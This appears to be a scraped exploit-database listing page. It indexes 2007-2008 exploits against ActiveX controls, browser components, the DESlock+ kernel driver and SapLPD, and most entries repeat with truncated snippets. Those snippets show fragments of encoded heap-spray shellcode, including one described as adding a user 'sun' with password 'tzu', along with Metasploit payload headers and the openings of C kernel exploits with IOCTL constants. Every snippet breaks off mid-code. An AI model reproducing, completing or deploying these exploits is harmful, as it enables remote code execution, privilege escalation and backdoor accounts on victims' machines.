dlink-overflow.txt

//add su one, user: sun pass: tzu shellcode = unescape"%u03eb%ueb59%ue805%ufff8%uffff%u4949%u3749%u4949" + "%u4949%u4949%u4949%u4949%u4949%u4949%u5a51%u456a" + "%u5058%u4230%u4231%u6b41%u4141%u3255%u4241%u3241" + "%u4142%u4230%u5841%u3850%u4241%u6d75%u6b39%u494c" +...

D-Link MPEG4 SHM Audio Control - 'VAPGDecoder.dll 1.7.0.5' Remote Buffer Overflow

//add su one, user: sun pass: tzu shellcode = unescape"%u03eb%ueb59%ue805%ufff8%uffff%u4949%u3749%u4949" + "%u4949%u4949%u4949%u4949%u4949%u4949%u5a51%u456a" + "%u5058%u4230%u4231%u6b41%u4141%u3255%u4241%u3241" + "%u4142%u4230%u5841%u3850%u4241%u6d75%u6b39%u494c" +...

DESlock+ <= 3.2.6 DLMFDISK.sys local kernel ring0 SYSTEM Exploit

No description provided by source. / deslock-pown-v2.c Copyright c 2008 by [email protected] DESlock+ = 3.2.6 local kernel ring0 SYSTEM exploit by mu-b - Wed 26 Dec 2007 - Tested on: DLMFDISK.sys 1.2.0.27 - Microsoft Windows 2003 SP2 - Microsoft Windows XP SP2 Note: create a mountable filesyste...

DESlock+ 3.2.6 - DLMFDISK.sys Local kernel Ring0 SYSTEM

DESlock+ 3.2.6 - DLMFDISK.sys Local kernel Ring0 SYSTEM / deslock-pown-v2.c Copyright c 2008 by DESlock+ include include include define DLKFDISKIOCTL 0x80002024 define DLKFDISKRIOCTL 0x80002010 define DLKFDISKSLOT 0x00000C5A define DLKFDISKOFFSET 0x0D define DLKFDISKDISKMAX 0x1A static unsigned...

DESlock+ 3.2.6 - Local Kernel Ring0 link list zero SYSTEM

DESlock+ 3.2.6 - Local Kernel Ring0 link list zero SYSTEM / deslock-list-zero-v2.c Copyright c 2008 by DESlock+ include include include define DLMFENCIOCTL 0x0FA4204C define DLMFENCFLAG 0xC001D00D define DLKFDISKRIOCTL 0x80002008 define DLKFDISKSLOT 0x00000C5C define ARGSIZEa a/sizeof void static...

DESlock+ < 3.2.6 - Local Kernel Ring0 link list zero SYSTEM

/ deslock-list-zero-v2.c Copyright c 2008 by DESlock+ include include include define DLMFENCIOCTL 0x0FA4204C define DLMFENCFLAG 0xC001D00D define DLKFDISKRIOCTL 0x80002008 define DLKFDISKSLOT 0x00000C5C define ARGSIZEa a/sizeof void static unsigned char win32fixup = "\x53" "\xeb\x0e" / fixupcopy ...

Microsoft DirectSpeechSynthesis Module Remote Buffer Overflow Exploit

No description provided by source. !-- 7.43 11/06/2007 Microsoft DirectSpeechSynthesis Module XVoice.dll 4.0.4.3303 remote buffer overflow exploit/ IE7/XP SP2 heap spray version Unpublished one, maybe too effective... Otherwise called "SAPI4 exploit" but I consider it nearly universal,...

citrix-overflow.txt

Citrix Presentation Server Client WFICA.OCX ActiveX Component Heap Buffer Overflow Exploit function Check // win32exec - EXITFUNC=seh CMD=c:\windows\system32\calc.exe Size=378 Encoder=Alpha2 http://metasploit.com var shellcode1 = unescape"%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949" +...

IBM Domino Web Access Upload Module - Overwrite (SEH)

IBM Domino Web Access Upload Module - Overwrite SEH IBM Domino Web Access Upload Module Universal BoF Exploit function Check // win32exec - EXITFUNC=seh CMD=c:\windows\system32\calc.exe Size=378 Encoder=Alpha2 http://metasploit.com var shellcode1 =...

IBM Domino Web Access Upload Module SEH Overwrite Exploit

Exploit for unknown platform in category remote exploits ========================================================= IBM Domino Web Access Upload Module SEH Overwrite Exploit ========================================================= IBM Domino Web Access Upload Module Universal BoF Exploit function...

Citrix Presentation Server Client - 'WFICA.OCX' ActiveX Heap Buffer Overflow

Citrix Presentation Server Client WFICA.OCX ActiveX Component Heap Buffer Overflow Exploit function Check // win32exec - EXITFUNC=seh CMD=c:\windows\system32\calc.exe Size=378 Encoder=Alpha2 http://metasploit.com var shellcode1 = unescape"%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949" +...

msdirectspeech-overflow.txt

///add su one, user: sun pass: tzu shellcode = unescape"%u03eb%ueb59%ue805%ufff8%uffff%u4949%u3749%u4949" + "%u4949%u4949%u4949%u4949%u4949%u4949%u5a51%u456a" + "%u5058%u4230%u4231%u6b41%u4141%u3255%u4241%u3241" + "%u4142%u4230%u5841%u3850%u4241%u6d75%u6b39%u494c" +...

ImageStation (SonyISUpload.cab 1.0.0.38) ActiveX BOF Exploit

Exploit for unknown platform in category remote exploits ============================================================ ImageStation SonyISUpload.cab 1.0.0.38 ActiveX BOF Exploit ============================================================ ImageStation SonyISUpload.cab 1.0.0.38 ActiveX Buffer...

ImageStation - SonyISUpload.cab 1.0.0.38 ActiveX Buffer Overflow

ImageStation - SonyISUpload.cab 1.0.0.38 ActiveX Buffer Overflow ImageStation SonyISUpload.cab 1.0.0.38 ActiveX Buffer Overflow Exploit function Check // win32exec - EXITFUNC=seh CMD=c:\windows\system32\calc.exe Size=378 Encoder=Alpha2 http://metasploit.com var shellcode1 =...

Microsoft DirectSpeechSynthesis Module - Remote Buffer Overflow

Microsoft DirectSpeechSynthesis Module - Remote Buffer Overflow ///add su one, user: sun pass: tzu shellcode = unescape"%u03eb%ueb59%ue805%ufff8%uffff%u4949%u3749%u4949" + "%u4949%u4949%u4949%u4949%u4949%u4949%u5a51%u456a" + "%u5058%u4230%u4231%u6b41%u4141%u3255%u4241%u3241" +...

Microsoft DirectSpeechSynthesis Module Remote Buffer Overflow Exploit

Exploit for unknown platform in category remote exploits ===================================================================== Microsoft DirectSpeechSynthesis Module Remote Buffer Overflow Exploit ===================================================================== ///add su one, user: sun pass:...

Microsoft DirectSpeechSynthesis Module - Remote Buffer Overflow

///add su one, user: sun pass: tzu shellcode = unescape"%u03eb%ueb59%ue805%ufff8%uffff%u4949%u3749%u4949" + "%u4949%u4949%u4949%u4949%u4949%u4949%u5a51%u456a" + "%u5058%u4230%u4231%u6b41%u4141%u3255%u4241%u3241" + "%u4142%u4230%u5841%u3850%u4241%u6d75%u6b39%u494c" +...

SapLPD 6.28 (Windows x86) - Remote Buffer Overflow

SapLPD 6.28 Windows x86 - Remote Buffer Overflow / http://lists.grok.org.uk/pipermail/full-disclosure/2008-February/060042.html Exploit for SapLPD 6.28 Win32 by BackBone Tested with SapLPD 6.28 on Windows XP SP2 Groetjes aan mijn sletjes Ops,Doop,Gabber,head,ps,sj,dd en de rest! / include include...

SapLPD 6.28 (Windows x86) - Remote Buffer Overflow

/ http://lists.grok.org.uk/pipermail/full-disclosure/2008-February/060042.html Exploit for SapLPD 6.28 Win32 by BackBone Tested with SapLPD 6.28 on Windows XP SP2 Groetjes aan mijn sletjes Ops,Doop,Gabber,head,ps,sj,dd en de rest! / include include include pragma comment lib,"ws232" define...

FaceBook PhotoUploader (ImageUploader4.ocx 4.5.57.0) BOF Exploit

No description provided by source. !-- FaceBook PhotoUploader Buffer Overflow Exploit written by e.b. Tested on Windows XP SP2fully patched English, IE6, ImageUploader4.ocx 4.5.57.0FaceBookPhotoUploader2.cab The following controls are also vulnerable: Aurigma ImageUploader4 4.5.70.0 and 4.5.126.0...